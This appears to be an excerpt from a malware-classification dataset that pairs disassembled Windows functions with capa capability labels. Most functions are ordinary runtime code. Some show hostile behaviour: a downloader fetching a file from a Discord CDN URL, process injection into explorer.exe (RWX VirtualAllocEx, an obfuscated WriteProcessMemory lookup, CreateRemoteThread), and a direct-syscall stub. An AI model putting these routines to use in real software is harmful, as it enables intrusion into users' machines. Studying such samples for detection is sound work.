joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027e30
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b8b4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b8b4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027f80
cmp rax, 0xffffffffffffffff
je 0x140027f80
xor edi, edi
test rbp, rbp
jle 0x140027f2b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001deb8
mov rbx, rax
test rax, rax
jne 0x140027eb8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027f21
mov edx, 0x8000
mov ecx, r14d
call fcn.140015968
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c590
cmp eax, 0xffffffff
je 0x140027f01
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027ec8
mov edx, r15d
mov ecx, r14d
call fcn.140015968
jmp 0x140027f21
cmp byte [rsi + 0x38], dil
je 0x140027f18
cmp dword [rsi + 0x34], 5
jne 0x140027f18
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027f21
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019f78
jmp 0x140027f94
jns 0x140027f94
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b8b4
cmp rax, 0xffffffffffffffff
jne 0x140027f4c
cmp byte [rsi + 0x30], dil
je 0x140027f94
mov edi, dword [rsi + 0x2c]
jmp 0x140027f94
mov ecx, r14d
call fcn.14001705c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027f94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027f94
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027f8d
mov eax, dword [rsi + 0x2c]
jmp 0x140027f92
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b8b4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140001000
Capabilities:
Download url
Receive data

Disassembly:
sub rsp, 0x38
mov r9d, 0x10
mov qword [rsp + 0x20], 0
xor r8d, r8d
lea rdx, str.https:__cdn.discordapp.com_attachments_1197235225642668082_1238487790853816350_skibi.mp4_ex663f7723is663e25a3hmfbdd8b25b8aba66d04458b9b454768bd3978f0d9c2cbe23780797292b94fba12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140001908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001952
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001952
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001952
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001952
cmp dword [rcx + 0x84], 0xe
jbe 0x140001952
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001954
xor al, al
add rsp, 0x28
ret
Function at 0x180001050
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x150
xor edx, edx
mov rsi, rcx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800010af
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.180001fa4
lea rdx, str.Failed_to_create_process_snapshot:__d_n
lea rcx, [rax + 0x60]
mov r8d, ebx
call fcn.1800021b8
xor eax, eax
mov rbx, qword [rsp + 0x168]
add rsp, 0x150
pop rsi
ret
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x160], rdi
xor edi, edi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800010f9
nop dword [rax + rax]
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call fcn.18000993c
test eax, eax
je 0x1800010f5
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1800010d0
jmp 0x1800010f9
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x168]
mov eax, edi
mov rdi, qword [rsp + 0x160]
add rsp, 0x150
pop rsi
ret
Function at 0x180001270
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov qword [rbp + 0xf], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1800012ea
mov dword [rbp - 0x59], 0x74697257
mov dword [rbp - 0x55], 0x6f725065
mov dword [rbp - 0x51], 0x73736563
mov dword [rbp - 0x4d], 0x6f6d654d
mov word [rbp - 0x49], 0x7972
mov byte [rbp - 0x47], 0
lea rdx, [rbp - 0x59]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800134a8], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rbp - 0x79], 0x61657771
mov dword [rbp - 0x75], 0x32336473
mov dword [rbp - 0x71], 0x63787a31
mov byte [rbp - 0x6d], 0
mov qword [rbp - 0x29], 0xf
xor r12d, r12d
mov qword [rbp - 0x31], r12
mov byte [rbp - 0x41], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x79]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x41]
call fcn.1800014e0
nop
lea rdx, [rbp - 0x41]
lea rcx, [rbp + 0x17]
call fcn.180001120
nop
cmp qword [rbp - 0x29], 0x10
jb 0x180001355
mov rcx, qword [rbp - 0x41]
call fcn.1800022e8
mov qword [rbp - 0x29], 0xf
mov qword [rbp - 0x31], r12
mov byte [rbp - 0x41], 0
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x19]
call fcn.180001250
nop
xor ecx, ecx
call fcn.180001ab8
mov rdi, rax
xor ecx, ecx
call fcn.180001ab8
mov rsi, rax
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.180001c70
mov rcx, qword [rbp + 0x67]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp - 0x69], 0x6c707865
mov dword [rbp - 0x65], 0x7265726f
mov dword [rbp - 0x61], 0x6578652e
mov byte [rbp - 0x5d], 0
lea rcx, [rbp - 0x69]
call fcn.180001050
mov r8d, eax
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov rax, qword [0x1800134a8]
test rax, rax
je 0x180001415
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
cmp qword [rbp - 1], 0x10
jb 0x180001446
mov rcx, qword [rbp - 0x19]
call fcn.1800022e8
mov qword [rbp - 1], 0xf
mov qword [rbp - 9], r12
mov byte [rbp - 0x19], 0
cmp qword [rbp + 0x2f], 0x10
jb 0x180001466
mov rcx, qword [rbp + 0x17]
call fcn.1800022e8
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x180007d08
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x180012248]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180004bb4
xor ebx, ebx
cmp qword [0x180012ef8], rbx
mov rdi, rax
jne 0x180007e1b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180007ef2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180007ef2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180012ef8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180012f00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180012f08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180012f18], rax
test rax, rax
je 0x180007e12
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180012f10], rax
jmp 0x180007e22
mov rax, qword [0x180012f10]
jmp 0x180007e29
mov rax, qword [0x180012f10]
mov r11, qword [0x180012f18]
cmp rax, rdi
je 0x180007e90
cmp r11, rdi
je 0x180007e90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180012f18]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180007e90
test rax, rax
je 0x180007e90
call rsi
test rax, rax
je 0x180007e8a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180007e8a
test byte [rsp + 0x40], 1
jne 0x180007e90
bts ebp, 0x15
jmp 0x180007ed0
mov rcx, qword [0x180012f00]
cmp rcx, rdi
je 0x180007ed0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180007ed0
call rax
mov rbx, rax
test rax, rax
je 0x180007ed0
mov rcx, qword [0x180012f08]
cmp rcx, rdi
je 0x180007ed0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180007ed0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180012ef8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180007ef2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180007ef4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180007b10
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180009487
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180012248]
jne 0x180007b2a
rol rcx, 0x10
test cx, 0xffff
jne 0x180007b26
repz ret
ror rcx, 0x10
jmp 0x1800093e0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180012fd0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1800130c8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180009465
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180012fd0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180009487
mov rax, qword [rsp + 0x88]
mov qword [0x1800130c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180013068], rax
mov rax, qword [0x1800130c8]
mov qword [0x180012f40], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180013050], rax
mov dword [0x180012f30], 0xc0000409
mov dword [0x180012f34], 1
mov rax, qword [0x180012248]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180012250]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180012fc8], eax
mov ecx, 1
call fcn.180007b30
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000e620]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180012fc8], 0
jne 0x18000950e
mov ecx, 1
call fcn.180007b30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400011c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x2dc720
call fcn.140002a30
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2dc710], rax
mov rax, r8
mov qword [rsp + 0x30], 0
mov rbx, rdx
mov dword [rsp + 0x28], 0x80
mov rsi, rcx
mov dword [rsp + 0x20], 2
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400012d0
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, 0x36
lea rdx, [0x140003378]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x50]
xor r9d, r9d
nop dword [rax]
movzx r8d, byte [rsi + r9]
lea rcx, [rcx + 3]
movzx eax, r8b
inc r9
add al, al
add r8b, al
movzx eax, r8b
inc r8b
movzx edx, byte [rax + rbx]
mov byte [rcx - 3], dl
movzx eax, r8b
inc r8b
movzx edx, byte [rax + rbx]
mov byte [rcx - 2], dl
movzx eax, r8b
movzx edx, byte [rax + rbx]
mov byte [rcx - 1], dl
cmp r9, 0xf4240
jb 0x140001260
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, 0x2dc6c0
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2dc710]
xor rcx, rsp
call fcn.140001be0
lea r11, [rsp + 0x2dc720]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001a40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140001aa1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140001a60
mov ecx, dword [r9]
jmp 0x140001b8b
cmp ecx, 0x4e0
jb 0x140001b8b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001ac0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001b10
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140002568
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400025b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400025b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400025b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400025b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400025b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400025b4
xor al, al
add rsp, 0x28
ret
Function at 0x140001909
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001a7d
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1409c9361]
jmp 0x14000196f
mov byte [0x1409c9361], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1409c9340]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001a7d
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x1e
mov byte [rsp + 0x21], 0x25
mov byte [rsp + 0x22], 0x2a
mov byte [rsp + 0x23], 0x1c
mov byte [rsp + 0x24], 0x1c
mov byte [rsp + 0x25], 0x17
mov byte [rsp + 0x26], 0x27
mov byte [rsp + 0x27], 0x19
mov byte [rsp + 0x28], 0x16
mov byte [rsp + 0x29], 0x1d
mov byte [rsp + 0x2a], 0x17
mov byte [rsp + 0x2b], 0x25
mov byte [rsp + 0x2c], 0x20
mov byte [rsp + 0x2d], 0x21
mov byte [rsp + 0x2e], 0x14
mov byte [rsp + 0x2f], 0x18
mov byte [rsp + 0x30], 0x16
mov byte [rsp + 0x31], 0x26
mov byte [rsp + 0x32], 0x24
mov byte [rsp + 0x33], 0x1b
mov byte [rsp + 0x34], 0x23
mov byte [rsp + 0x35], 0x28
mov byte [rsp + 0x36], 0x21
mov byte [rsp + 0x37], 0x25
mov byte [rsp + 0x38], 0x1e
mov byte [rsp + 0x39], 0x1e
mov byte [rsp + 0x3a], 0x21
mov byte [rsp + 0x3b], 0x26
mov byte [rsp + 0x3c], 0x1b
mov byte [rsp + 0x3d], 0x26
mov byte [rsp + 0x3e], 0x29
mov byte [rsp + 0x3f], 0x22
mov byte [rsp + 0x40], 0xb1
cmp byte [0x1409c9320], 0
jne 0x140001a58
mov byte [0x1409c9361], 1
mov eax, 0
lea rcx, [0x1409c9340]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001a37
mov byte [0x1409c9320], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1409c9361], 0
je 0x140001941
lea rax, [0x1409c9340]
add byte [rax], 0x4f
add rax, 1
cmp rbx, rax
jne 0x140001a6c
jmp 0x14000193a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1400062c0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x1400062f0
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x1400062ef
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400062f5
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x1400062ef
mov eax, 0
jmp 0x1400062ef

Function at 0x140006970
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140006920
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14000ff90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140018ad0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140018ad0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140010000
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1409c9714]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140010190
mov rax, qword [0x1409c9718]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x14001004c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x1400100d5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x140010030
mov rcx, rdi
call fcn.140010b60
test rax, rax
mov r12, rax
je 0x1400101e2
mov rax, qword [0x1409c9718]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140010ca0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1409c9718]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400101c5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400100ce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140010140
add dword [0x1409c9714], 1
cmp ebx, 8
jae 0x140010101
test bl, 4
jne 0x1400101a0
test ebx, ebx
je 0x1400100f6
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x1400101b4
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x1400100f6
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x14001011a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x1409c9718]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400100ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000ff90
xor esi, esi
jmp 0x140010057
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x1400100f6
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x1400100f6
mov rax, qword [0x1409c9718]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.14000ff90
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.14000ff90
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x1400107b0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1409c9780]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1409c9760]
test rbx, rbx
je 0x140010804
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400107fb
test rsi, rsi
je 0x1400107fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400107e0
lea rcx, [0x1409c9780]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140010b60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409c34b0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x140010bcf
mov rcx, r9
call fcn.140010a30
test eax, eax
je 0x140010bcf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x140010bcd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140010bc4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140010bcf
add rdx, 0x28
cmp rdx, r9
jne 0x140010bb0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001b010
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409be420]
jmp 0x140011990

Function at 0x14001b020
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409be420]
jmp 0x140011990